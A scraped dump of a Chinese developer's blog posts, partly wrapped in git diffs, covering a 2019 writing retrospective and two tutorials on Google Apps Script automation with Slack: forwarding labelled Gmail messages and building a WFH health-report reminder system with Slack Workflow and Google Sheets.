社群的大家真的很佛心,起初發文其實很怕被大家噴然後失去自信;但沒有,大家給的反饋都很正面,即使文章內容並不一定有幫助,也因為這股正面的鼓勵讓我在創作上更有信心,投入更多時間做紀錄;感謝大家的鼓勵!

Medium 在寫作的體驗上真的很好,如果你也是程式開發者可以裝 Code Medium 這個 Chrome Extension,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼!

寫了生活又寫了技術,為了做區隔所幸建立了兩個 Publication 頻道: ZRealm Life. 分享生活、開箱 / ZRealm Dev. 分享工作、技術方面文章 , 讓大家可以依照自己想看的內容去追蹤。

一個非常 ”西花“ 的東西 — 「LOGO」 ,生活要有儀式感?既然說是經營,那應該要有自己的品牌識別? 於是我請了設計大大幫我把我的 Logo 構想製作出來;我的設計構想:外框五角形是致敬母校 台科大的校徽 ,五角代表板手代表技術工藝、內框 “ ZR ” 其實也沒變的意思就是我的英譯中文姓名 ZhongCheng 的首字 “ Z” 還有 Realm 我的地盤的 ”R”

收穫

要說收穫,先說寫文的初衷 — 「 教學相長 」,不是為了展示什麼、更不是為了賺錢;所有文章我都沒加入付費牆,知識不應該是要付費才能看的,知識本是力量; 如果喜歡可以多多支持 Medium 付費會員 ,這樣才能讓我們有較長遠的平台可以使用…(實在很怕它不堪虧損)

要說收穫的話,除了金錢利益沒有,其他都有滿滿的收穫;第一是 成就感 ,文章有人看、有迴響就會很有成就感,更有動力繼續寫文;再來是認識了許多朋友產生更多的交流;我是屬於被動社交的人,在寫文章之前其實對社群是非常陌生的,幾乎沒有交流,現在認識許多朋友,覺得 在開發的路上並不孤單了!(如同我 Publication 的副標題 — 「解決問題的道路上你並不孤單」)

統計

既然說是回顧,那不免俗要統計一下數據。 2019年(含2018年末)一共發表了: 25 篇文章: 2 篇生活 + 5 篇開箱 + 18 篇技術文章 累積約 60,000 次流量、 5,000 個拍手、突破 200 位追蹤者!

表現比較好的文章有:

  1. iOS Deferred Deep Link 延遲深度連結實作(Swift)
  2. AirPods 2 開箱及上手體驗心得
  3. 如何打造一場有趣的工程CTF競賽
  4. APP有用HTTPS傳輸,但資料還是被偷了。
  5. Apple Watch Series 4 從入手到上手全方位心得

感謝大家的支持與愛護,今年也會繼續加油的!

你的追蹤與回饋就是我寫作的原動力!

ZhgChgLi, 2020/01/11.

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

米家 APP / 小愛音箱地區問題

iOS 擴大按鈕點擊範圍

diff --git a/posts/d414bdbdb8c9/index.html b/posts/d414bdbdb8c9/index.html new file mode 100644 index 000000000..a5b134a1d --- /dev/null +++ b/posts/d414bdbdb8c9/index.html @@ -0,0 +1,117 @@ + 運用 Google Apps Script 轉發 Gmail 信件到 Slack | ZhgChgLi
Home 運用 Google Apps Script 轉發 Gmail 信件到 Slack
Post
Cancel

運用 Google Apps Script 轉發 Gmail 信件到 Slack

運用 Google Apps Script 轉發 Gmail 信件到 Slack

使用 Gmail Filter + Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack Channel

Photo by [Lukas Blazek](https://unsplash.com/@goumbik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Lukas Blazek

起源

最近在優化 iOS App CI/CD 的流程,使用 Fastlane 作為自動化工具;打包上傳後如果要繼續完成自動送審步驟 ( skip_submission=false ),就需要等蘋果完成 Process 大概需要浪費 30~40 mins 的 CI Server 時間,因為蘋果 App Store Connect API 並不完善,Fastlane 也只能每分鐘去檢查一次上傳的 Build 是否處理完成,非常浪費資源。

  • Bitrise CI Server: 限制同時 Builds 數量及最大執行時間 90 mins,90 mins 是夠,但會卡著一條 Build 阻礙其他人執行。
  • Travis CI Server: 依照 Build Time 收費,這樣更不能等了,錢直接打水漂。

換個思路

不等了,上傳完直接結束!靠處理完成的信件通知觸發後續動作。

不過最近我都沒收到這封信了,不知道是設定問題還是蘋果不再發此類通知。

本文將以 Testflight 已經可以開始測試的信件通知為例。

完整流程如上圖所示,原理上可行;但不是本文要討論的重點,本文將著重在收到信件、使用 Apps Script 轉發至 Slack Channel 部分。

如何轉發收到的 Email 到 Slack Channel

不管是付費或是免費的 Slack 專案都能使用不同方法達成 Email 轉發到 Slack Channel or DM 功能。

可參考官方文件進行設置: 傳送電子郵件至 Slack

不管哪種方法效果都如下:

預設摺疊信件內容,點擊後可以展開查看全部內容。

優點:

  1. 簡單快速
  2. 零技術門檻
  3. 即時轉送

缺點:

  1. 無法對內容進行客製
  2. 顯示樣式無法更改

客製轉發內容

就是本篇要介紹的重點。

將信件內容資料轉譯成自己想呈現的樣式,如上圖範例。

先上一張完整運作流程圖:

  • 使用 Gmail Filter 對要轉發信件加上辨識 Label
  • Apps Script 定時獲取被標記成該 Label 的信件
  • 讀取信件內容
  • 渲然成想要的顯示樣式
  • 透過 Slack Bot API 或直接用 Incoming Message 發送訊息到 Slack
  • 移除信件 Label (代表已轉發)
  • 完成

首先,要在 Gmail 中建立篩選器

篩選器可以在收到符合條件信件時自動化做一些事,例如:自動標記已讀、自動標記 Tag、自動移入垃圾郵件、自動歸入分類…等等操作

在 Gmail 點擊右上進階搜尋圖標按鈕,輸入要轉發的信件規則條件,例如來自: no_reply@email.apple.com + 主題是 is now available to test. ,點擊「Search」查看篩選結果是否如預期;如果正確可以點擊 Search 旁的「Create filter」按鈕。

或直接在信件裡上方點 Filter message like these 就能快速建立篩選條件

或直接在信件裡上方點 Filter message like these 就能快速建立篩選條件

這按鈕設計很反人類,第一次找一直沒看到。

下一步設定符合此篩選條件是的動作,這邊我們選「Apply the label」建立一個獨立新辨識用 Label 「forward-to-slack」,點擊「Create filter」完成。

爾後被標上這個 Label 的信都會被轉發到 Slack。

取得 Incoming WebHooks App URL

首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。

  1. Slack 左下角「Apps」->「Add apps」
  2. 右邊搜尋匡搜尋「incoming」
  3. 點擊「Incoming WebHooks」->「Add」

選擇訊息想要傳到的 Channel。

記下最上方的「Webhook URL」

往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。

備註

請注意官方建議使用新的 Slack APP Bot API 的 chat.postMessage 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。

撰寫 Apps Script 程式

貼上以下基本程式並修改成你想要的版本:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
function sendMessageToSlack(content) {
+    var payload = {
+      "text": "*您收到一封信件*",
+      "attachments": [{
+          "pretext": "信件內容如下:",
+          "text": content,
+        }
+      ]
+    };
+    var res = UrlFetchApp.fetch('貼上你的Slack incoming Webhook URL',{
+      method             : 'post',
+      contentType        : 'application/json',
+      payload            : JSON.stringify(payload)
+    })
+}
+
+function forwardEmailsToSlack() {
+    // 參考自:https://gist.github.com/andrewmwilson/5cab8367dc63d87d9aa5
+
+    var label = GmailApp.getUserLabelByName('forward-to-slack');
+    var messages = [];
+    var threads = label.getThreads();
+  
+    if (threads == null) {
+      return;
+    }
+
+    for (var i = 0; i < threads.length; i++) {
+        messages = messages.concat(threads[i].getMessages())
+    }
+
+    for (var i = 0; i < messages.length; i++) {
+        var message = messages[i];
+        Logger.log(message);
+
+        var output = '*New Email*';
+        output += '\n*from:* ' + message.getFrom();
+        output += '\n*to:* ' + message.getTo();
+        output += '\n*cc:* ' + message.getCc();
+        output += '\n*date:* ' + message.getDate();
+        output += '\n*subject:* ' + message.getSubject();
+        output += '\n*body:* ' + message.getPlainBody();
+
+        sendMessageToSlack(output);
+   }
+
+   label.removeFromThreads(threads);
+}
+

進階:

EX:爬取 Testflight 審核成功信件內的版本號資訊:

信件標題:Your app XXX has been approved for beta testing.

信件內容:

我們想得到 Bundle Version Short String 還有 Build Number 後面的值

1
+2
+3
+4
+5
+6
+7
+
var results = subject.match(/(Bundle Version Short String: ){1}(\S+){1}[\S\s]*(Build Number: ){1}(\S+){1}/);
+if (results == null || results.length != 5) {
+  // not vaild
+} else {
+  var version = results[2];
+  var build = results[4];
+}
+
1
+2
+3
+
output:
+version = 3.37.0
+build = 2
+

執行看看

  • 回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward-to-slack」
  • 在 Apps Script 程式碼編輯器上選擇「forwardEmailsToSlack」然後點擊「執行」按鈕

若出現 「Authorization Required」則點選「Continue」完成驗證

在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。

可點選左下角「Advanced」->「Go to ForwardEmailsToSlack (unsafe)」

點擊「Allow」

轉發成功!!!

設置觸發器(排程)自動檢查&轉發

在 Apps Script 左方選單列,選擇「觸發條件」。

左下角「+ 新增觸發條件」。

  • 錯誤通知設定:可設定當腳本執行遇到錯誤時,該如何通知你
  • 選擇您要執行的功能:選擇 Main Function sendMessageToSlack
  • 選取活動來源:可選擇來自日曆或是時間驅動(定時或指定)
  • 選取時間型觸發條件類型:可選特定日期執行或每分/時/日/週/月執行一次
  • 選取分/時/日/週/月間隔:EX: 每分鐘、每 15 分鐘…

這邊為了示範設定成每分鐘執行一次,我覺得信件的即時程度可以設每小時檢查一次就好。

  • 再次回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward-to-slack」
  • 等待排程觸發

自動檢查&轉發成功!

完工

藉由此功能便能達成客製化信件轉發處理,甚至是再當成觸發器使用,例如:收到 XXX 信時自動執行某腳本。

回到第一章起源,我們便可以使用此機制,完善 CI/CD 流程;不需要呆呆等待蘋果完成處理,又能串上自動化流程!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱

2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密

diff --git a/posts/d61062833c1a/index.html b/posts/d61062833c1a/index.html new file mode 100644 index 000000000..ee116510d --- /dev/null +++ b/posts/d61062833c1a/index.html @@ -0,0 +1,325 @@ + Slack 打造全自動 WFH 員工健康狀況回報系統 | ZhgChgLi
Home Slack 打造全自動 WFH 員工健康狀況回報系統
Post
Cancel

Slack 打造全自動 WFH 員工健康狀況回報系統

Slack 打造全自動 WFH 員工健康狀況回報系統

玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率

Photo by [Stephen Phillips — Hostreviews.co.uk](https://unsplash.com/@hostreviews?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Stephen Phillips — Hostreviews.co.uk

前言

因應全面居家工作,公司關心所有成員的健康,每日均需回報身體有無狀況並由 People Operations 統一紀錄管理。

我們的 優化前 的 Flow

  1. [自動化] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息(優化前唯一自動化的地方)
  2. 員工點擊連結打開 Google Form 填寫健康問題
  3. 資料存回 Google Sheet 回應紀錄
  4. [人工] People Operations 於每日接近下班時比對名單篩出忘記填寫的員工
  5. [人工] 於 Slack Channel 發送填寫提醒訊息 & 一個一個 tag 忘記填寫的人

以上是敝司的健康回報追蹤流程,每間公司依照規模及運作方式一定有所不同,本文僅以此做為優化範例,學習 Slack Workflow 使用、基本 App Script 撰寫,實際還是要 by case 實作。

問題點

  • 需跳出 Slack Context 使用瀏覽器打開 Google Form 網頁才能填寫,尤其在手機上更不方便
  • Google Form 僅能自動帶入 Email 訊息,無法自動加上填寫人名稱、部門資訊
  • 每日人工比對、人工 tag 非常花費人力時間

解決方案

做過蠻多自動化的小東西,這個流程資料源固定(員工名單)、條件單純、動作很例行;一看就覺得很適合自動化,一開始沒做是因為找不到好的填寫方式(實際是找不到有趣可研究的點);所以也就放著沒管,直到看到 海總理的這則 PO 文 才發現 Slack Workflow 不只是可以做定時傳訊息,還有 Form 表單的功能:

圖片取自: [海總理](https://www.facebook.com/tzangms/posts/10157880898787657){:target="_blank"}

圖片取自: 海總理

這下手就開始癢了啊!!

如果能搭配 Slack Workflow From 加上傳訊息的自動化,豈不是能解決上面提到的 所有痛點 ,原理可行!於是開始著手實作。

優化後 的 Flow

首先上一下優化後的流程及結果。

  1. [自動化] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息
  2. 從 Google Form 或 Slack Workflow Form 填寫健康問題
  3. 資料均存回 Google Sheet 回應紀錄
  4. People Operations 於每日接近下班時點擊「產生未填寫名單」按鈕
  5. [自動化] 使用 App Script 比對員工名單、填寫名單篩出未填寫名單
  6. [自動化] 點擊「產生&發送訊息」自動發送未填寫提醒&自動 tag 對象
  7. 收工!

成效

(個人預估)

  • 填寫時間每位員工每日能減少約 30 秒
  • People Operations 處理這件事每日能減少約 20 ~ 30 分鐘

運作原理

透過撰寫 App Script 來管理 Sheet。

  1. 將外部輸入的資料都存放在 Responses Sheet
  2. 撰寫 App Script Function 將 Responses 的資料依照填寫日期分發到各日期的 Sheet,若無則建立新的日期 Sheet,Sheet 名稱直接使用日期,方便辨識取用
  3. 取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料
  4. 讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel
  • 串接 Slack APP API 可自動讀取指定 Channel 匯入員工名單
  • 訊息內容使用 Slack UID Tag &lt;@UID&gt; 就能標記未填寫的成員。

身份識別

串起 Google From 與 Slack 的身份識別資訊是 Email,所以請確保公司同仁都是使用公司 Email 填寫 Google Form、Slack 個人資訊部分也都有填寫公司 Email。

開始動手做

問題、優化方式、成果講完後,接下來來到實作環節;讓我們一起一步步完成這個自動化 Case。

篇幅有點長,可依照略過自己已了解的區塊,或直接從完成結果建立副本,邊看邊改邊學。

完成結果表單: https://forms.gle/aqGDCELpAiMFFoyDA

完成結果 Google Sheet:

建立健康回報 Google Form 表單 & 連結回覆到 Google Sheet

步驟省略,有問題請直接 Google,這邊假定你已經建立&連結好了健康回報表單。

表單要記得勾選「Collect emails」:

收集填寫者的 Email 以利之後比對名單用。

怎麼連結回覆到 Google Sheet?

於表單的上方切換到「回覆」點擊「Google Sheet Icon」即可。

更改連結的 Sheet 名稱:

這邊建議將連結的 Sheet 名稱由 Form Responses 1 改為 Responses 方便使用。

建立 Slack Workflow Form 填寫入口

傳統的 Google From 填寫入口有了之後,我們先來新增 Slack 填寫方式。

於 Slack 任意對話視窗中找到「 輸入匡 下方 」的「藍色閃電⚡️」點擊下去

在選單底下「Search shortcuts」中輸入「workflow」選擇「Open Workflow Builder」

這邊會列出你建立的或參與的 Workflow,點選右上角「Create」建立新 Workflow

第一步,輸入 workflow 名稱(Workflow Builder 介面顯示用)

Workflow 觸發方式,選擇「Shortcut」

目前一共有 5 種 slack workflow 觸發時間點:

  • Shortcut:手動觸發「藍色閃電⚡️」選項,會出現在 workflow 選單中,點擊即可開始 workflow。
  • New channel member:當 Target Channel 有新成員加入時…. (EX: 歡迎訊息)
  • Emoji reactions:當有人對 Target Channel 中的訊息按下指定表情符號時…(或許可拿來做重要訊息已讀請按 XXX Emoji,以此知道誰已讀了?)
  • Scheduled date & time:排程,指定時間到時…(EX: 定時發提醒回報訊息)
  • Webhook:外部 Webhook 觸發,進階功能,可與第三方或自己架 API 串起內部工作流程。

這邊我們選擇「Shortcut」建立手動觸發選項。

選擇這個 Workflow Shortcut 要加入在「哪一個 Channel 輸入匡」之下及輸入「要顯示的名稱」

*一個 workflow shortcut 僅能加入在一個 channel 中

Shortcut 建立完成!開始建立 workflow 步驟,點擊「Add Step」加入步驟

選擇「Send a form」Step

Title :輸入表單標題

Add a question :輸入第一個問題的題目(可自行在標題標注問題編號 ex: 1.,2.,3….)

Choose a question type

  • Short answer:單行輸入匡
  • Long answer:多行輸入匡
  • Select from a list:單選列表
  • Select a person:選擇一位同個 Workspace 內的成員
  • Select a channel or DM:選擇一位同個 Workspace 內的成員 或 Group DM 或 Channel

「Select from a list」為例:

  1. Add list item:可新增一個選項
  2. Default selection:選擇預設選項
  3. Make theis required:將此問題設為必填

  1. Add Question:可新增更多問題
  2. 右方「↓」「⬆」可調整順序、「✎」可展開編輯
  3. 可選擇是否要將表單填寫內容回傳至 Channel 或 某人

也可以選擇傳送回覆到…:

  • Person who clicked ….:點擊這個表單的人(形同填寫的人)
  • Channel where workflow started:這個 workflow 添加到的 Channel

表單完成後點擊「Save」儲存步驟。

*這邊我們取消勾選將表單填寫內容回傳,因為想要在後面步驟自行客製化訊息內容。

將 Slack workflow from 與 Google Sheet 串接

如果還沒有將 Google Sheet App 加入到 Slack 可先 點此安裝 APP

繼上一步後,點擊「Add Step」加入新步驟,我們選擇 Google Sheets for Workflow Builder 的「Add a spreadsheet row」步驟。

  1. 首先要完成 Google 帳號的授權,點擊「Connect account」
  2. Select a spreadsheet:選擇目標回應的 Google Sheet,請選擇一開始建立的 Google Form 之 Google Sheet
  3. Sheet:同上
  4. Column name:第一個欲填入值的 Column,這邊先選問題ㄧ

點擊右下角「Insert Variable」選擇「Response to 問題一…」,插入之後可由左下角「Add Column」加入其他欄位,以此類推完成問題二、問題三….

填寫人的 Email,可選擇「Person who submitted form」

在點擊插入的變數,選擇「Email」即可自動帶入填寫人的 Email。

  • Mention (default):tag 該 User,Raw data 是 &lt;@User ID&gt;
  • Name:User 名稱
  • Email:User Email

Timestamp 欄位比較 tricky 等下再補充設定方法,先點「Save」儲存後回到頁面右上角按「Publish」發布 Shortcut。

看到發布成功訊息後,可以回到 Slack Channel 試試看。

這時候點閃電之後會出現剛剛建立的 Workflow form,可以點來填寫玩玩。

左:電腦 右:手機版

左:電腦 / 右:手機版

我們可以填寫資訊「Submit」測試看看是否正常。

成功!但可以看到 Timestamp 欄位為空,下一步我們來解決這個問題。

Slack workflow from 取得填寫時間

Slack workflow 沒有 current timestamp 的 global variable 可用,至少目前還沒有,只找到一篇 reddit 上的許願文章

一開始異想天開在 Column Value 輸入 =NOW() 但這樣所有紀錄的時間永遠是當前時間,完全錯誤。

同樣拜 reddit 那篇文章 大神網友提供的 tricky 方法,可以建一個乾淨的 Timestamp Sheet 裡面放一個列資料、欄位 =NOW() 先用 Update 迫使欄位變為最新,在 Select 得到當前 Timestamp。

如上圖結構,點此 查看範例

  • Row: 類似 ID 的用處,直接設「1」,之後設定 Select & Update 會要用到,告知資料列。
  • Timestamp:設定值 =NOW() 讓他永遠顯示當前時間
  • Value:用以觸發 Timestamp 欄位更新時間,內容隨意,這邊是把填寫人的 Email 塞進來放,反正只要能觸發更新就好。

可在 Sheet 上按右鍵「Hide Sheet」隱藏此 Sheet,因為沒有要讓外部使用。

回到 Slack Workflow Builder 編輯剛剛 建立的 workflow form。

點擊「Add Step」新增步驟:

往下滑選擇「Update a spreadsheet row」

「Select a spreadsheet」選擇剛剛的 Sheet,「Sheet」選擇新建立的「Timestamp」Sheet。

「Choose a column to search」選擇「Row」,Define a cell value to find 輸入「1」。

「Update these columns」「Column name」選擇「Value」、「Value」點選「Insert variable」->「Person who submitted」->「選擇 Email」。

點「Save」完成!現在已經完成觸發 Sheet 中的 timestamp 更新了,再來是讀取出來用。

回到編輯頁後再點一次「Add Step」加入新步驟,這次選「Select a spreadsheet row」我們要讀取 Timestamp 出來。

Search 部分同「Update a spreadsheet row」,按「Save」。

Save 完回到步驟列表頁,我們可以把滑鼠移到步驟上用拖曳更改順序。

將順序改「Update a spreadsheet row」->「Select a spreadsheet」->「Add a spreadsheet row」。

意即:Update 觸發 timestamp 更新 -> 讀取 Timestamp -> 在新增 Row 時拿來用。

在「Add a spreadsheet row」點「Edit」編輯:

拉到最下面按左下角「Add Column」在點右下角「Insert a variable」,找到「Select a spreadsheet」Section 中的「Timestamp」變數,注入進去。

按「Save」儲存步驟後回到列表頁,右上角點「Publish Change」發布更改。

這時候我們再測試一次 workflow shortcut 看看 timestamp 有沒有正常寫入。

成功!

Slack workflow form 增加填寫回執

同 Google Form 填寫回執,Slack workflow form 也可以。

在編輯步驟頁我們可以再加入一個步驟,點擊「Add Step」。

這次選擇「Send a message」

「Send this message to」選擇「Person who submitted form」

訊息內容依序輸入題目名稱、「Insert a variable」選擇「Response to 題目 XXX」,也可在最後插入「Timestamp」,按「Save」儲存步驟後再按「Publish Changes」即可!

另外也可使用「Send a message」將填寫結果傳送到特定 Channel 或 DM。

成功!

Slack workflow form 的設定大概到此結束,其他玩法可以自由搭配發揮。

Google Sheet with App Script!

接下我們需要撰寫 App Script 來處理填寫資料。

首先在 Google Sheet 上方工具欄選擇「Tools」->「Script editor」

可以點擊左上角給專案一個名稱。

現在我們可以開始撰寫 App Script!App Script 是基於 Javascript 設計,所以可以直接使用 Javascript 程式碼用法搭配 Google Sheet 的 lib。

將 Responses 的資料依照填寫日期分發到各日期的 Sheet

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+
function formatData() {
+  var bufferSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('Responses') // 儲存回覆的 Sheet 名稱
+  
+  var rows = bufferSheet.getDataRange().getValues();
+  var fileds = [];
+  var startDeleteIndex = -1;
+  var deleteLength = 0;
+  for(index in rows) {
+    if (index == 0) {
+      fileds = rows[index];
+      continue;
+    }
+
+    var sheetName = rows[index][0].toLocaleDateString("en-US"); // 將 Date 轉換成 String,使用美國日期格式 MM/DD/YYYY
+    var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName); // 取得 MM/DD/YYYY Sheet
+    if (sheet == null) { // 若無則新增
+      sheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet(sheetName, bufferSheet.getIndex());
+      sheet.appendRow(fileds);
+    }
+
+    sheet.appendRow(rows[index]); // 將資料新增至日期 Sheet
+    if (startDeleteIndex == -1) {
+      startDeleteIndex = +index + 1;
+    }
+    deleteLength += 1;
+  }
+
+  if (deleteLength > 0) {
+    bufferSheet.deleteRows(startDeleteIndex, deleteLength); // 搬移到指定 Sheet 後,移除 Responses 裡的資料
+  }
+}
+

在 Code 區塊中貼上以上程式碼,並按「control」+「s」儲存。

再來我們要在 Sheet 中新增觸發按鈕( 只能手動按按鈕觸發,無法在資料寫入時做自動分

  1. 首先在建立一個新的 Sheet,取名「未填寫名單」
  2. 上方工具列選擇「Insert」->「Drawing」

使用此介面,拉出一個按鈕。

「Save and Close」後可調整、移動按鈕;點擊右上角「…」選擇「Assign script」

輸入「formatData」function 名稱。

可點擊加入的按鈕試試功能

若出現 「Authorization Required」則點選「Continue」完成驗證

在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。

可點選左下角「Advanced」->「Go to Health Report (Responses) (unsafe)」

點擊「Allow」

App Script 執行中會顯示「Running Script」這時候請勿再按,避免重複執行。

顯示執行成功後,才能再次執行。

成功!將填寫資料依照日期分組。

取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料

我們再加入一段 Code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
// 與員工名單 Sheet & 本日填寫 Sheet 比對,產出未填寫名單
+function generateUnfilledList() {
+  var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單') // 員工名單 Sheet 名稱
+  var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱
+  var today = new Date();
+  var todayName = today.toLocaleDateString("en-US");
+
+  var todayListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(todayName) // 取得本日 MM/DD/YYYY Sheet
+  if (todayListSheet == null) {
+    SpreadsheetApp.getUi().alert('找不到'+todayName+'本日的 Sheet 或請先執行「整理填寫資料」');
+    return;
+  }
+
+  var todayEmails = todayListSheet.getDataRange().getValues().map( x => x[1] ) // 取得本日 Sheet Email Address 欄位資料列表 (1 = Column B)
+  // index start from 0, so 1 = Column B
+  // output: Email Address,zhgchgli@gmail.com,alan@gamil.com,b@gmail.com...
+  todayEmails.shift() // 移除第一個資料,第一個是欄位名稱「Email Address」無意義
+  // output: zhgchgli@gmail.com,alan@gamil.com,b@gmail.com...
+
+  unfilledListSheet.clear() // 清除未填寫名單...準備重新填入資料
+  unfilledListSheet.appendRow([todayName+" 未填寫名單"]) // 第一行顯示 Sheet 標題
+
+  var rows = listSheet.getDataRange().getValues(); // 讀取員工名單 Sheet
+  for(index in rows) {
+    if (index == 0) { // 第一列是標題欄位列,存下來,讓後續產生資料也可補上第一列標題
+      unfilledListSheet.appendRow(rows[index]);
+      continue;
+    }
+    
+    if (todayEmails.includes(rows[index][3])) { // 如果本日 Sheet Email Address 中有此員工的 Email 則代表有填寫,continue 略過... (3 = Column D)
+      continue;
+    }
+
+    unfilledListSheet.appendRow(rows[index]); // 寫入一行資料到未填寫名單 Sheet
+  }
+}
+

一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「generateUnfilledList」。

完成後可點擊測試:

未填寫名單產生成功!如果沒有出現內容請先確定:

  • 員工名單已填寫,或可先輸入測試資料
  • 要先完成「整理填寫資料」動作

讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel

首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。

  1. Slack 左下角「Apps」->「Add apps」
  2. 右邊搜尋匡搜尋「incoming」
  3. 點擊「Incoming WebHooks」->「Add」

選擇未填寫訊息想要傳到的 Channel。

記下最上方的「Webhook URL」

往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。

回到我們的 Google Sheet Script

再加入一段 Code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+
function postSlack() {
+  var ui = SpreadsheetApp.getUi();
+  var result = ui.alert(
+     '您確定要發送訊息?',
+     '發送未填寫提醒訊息到 Slack Channel',
+      ui.ButtonSet.YES_NO);
+  // 避免誤觸,先詢問確認
+
+  if (result == ui.Button.YES) {
+    var unfilledListSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('未填寫名單') // 未填寫名單 Sheet 名稱
+    var rows = unfilledListSheet.getDataRange().getValues();
+    var persons = [];
+    for(index in rows) {
+      if (index == 0 || index == 1) { // 略過標題、欄位標題那兩行
+        continue;
+      }
+      
+      var person = (rows[index][4] == "") ? (rows[index][2]) : ("<@"+rows[index][4]+">"); // 標記對象,如果有 slack uid 優先使用,沒有則單純顯示暱稱;2 = Column B / 4 = Column E
+      if (person == "") { // 都沒視為異常資料,忽略
+        continue;
+      }
+      persons.push(""+person+'\n') // 將對象存入陣列
+    }
+
+    if (persons.length <= 0) { // 無對象需要被標記通知時,大家都有填,取消訊息送出
+      return;
+    }
+
+    var preText = "*[健康回報表公告:loudspeaker:]*\n公司關心各位的身體健康,煩請以下隊友記得每日填寫健康狀況回報,謝謝:wink:\n\n今日未填健康狀況回報名單\n\n" // 訊息開頭內容...
+    var postText = "\n\n填寫健康狀況回報能讓公司了解隊友們的身體狀況,煩請隊友們每日都要確實填寫唷>< 謝謝大家:woman-bowing::skin-tone-2:" // 訊息結尾內容...
+    var payload = {
+      "text": preText+persons.join('')+postText,
+      "attachments": [{
+          "fallback": "這邊可放 Google Form 填寫連結",
+          "actions": [
+            {
+                "name": "form_link",
+                "text": "前往健康狀況回報",
+                "type": "button",
+                "style": "primary",
+                "url": "這邊可放 Google Form 填寫連結"
+            }
+          ],
+          "footer": ":rocket:小提示:點擊輸入匡下方的「:zap:️閃電」->「Shortcut Name」,即可直接填寫。"
+        }
+      ]
+    };
+    var res = UrlFetchApp.fetch('這邊輸入你 slack incoming app 的 Webhook URL',{
+      method             : 'post',
+      contentType        : 'application/json',
+      payload            : JSON.stringify(payload)
+    })
+  }
+}
+

一樣儲存後,照前面加入 Code 的方法,再加入一個按鈕並 Assign script — 「postSlack」。

完成後可點擊測試:

成功!!!(顯示 @U123456 沒成功標記人是因為 ID 是我亂打的)

到此主要的功能都已完成!

備註

請注意官方建議使用新的 Slack APP API 的 chat.postMessage 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。

匯入員工名單

這邊會需要我們創建一個 Slack APP。

1.前往 https://api.slack.com/apps

2. 點擊右上角「Create New App」

3. 選擇「 From scratch

4. 輸入「 App Name 」跟 你想要加入的 Workspace

5. 建立成功後,在左邊選單選擇「OAuth & Permissions」設定頁

6. 往下滑到 Scopes 區塊

依次「Add an OAuth Scope」以下項目:

7. 回到最上面點擊「Install to workspace」or「Reinstall to workspace」

*如果 Scopes 有新增,也要回來這點重新安裝。

8. 安裝完成,取得複製 Bot User OAuth Token

9. 使用網頁版 Slack 打開想要匯入名單的 Channel

從瀏覽器取得網址:

1
+
https://app.slack.com/client/TXXXX/CXXXX
+

其中 CXXXX 就是這個 Channel 的 Channel ID,記下此訊息。

10.

回到我們的 Google Sheet Script

再加入一段 Code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
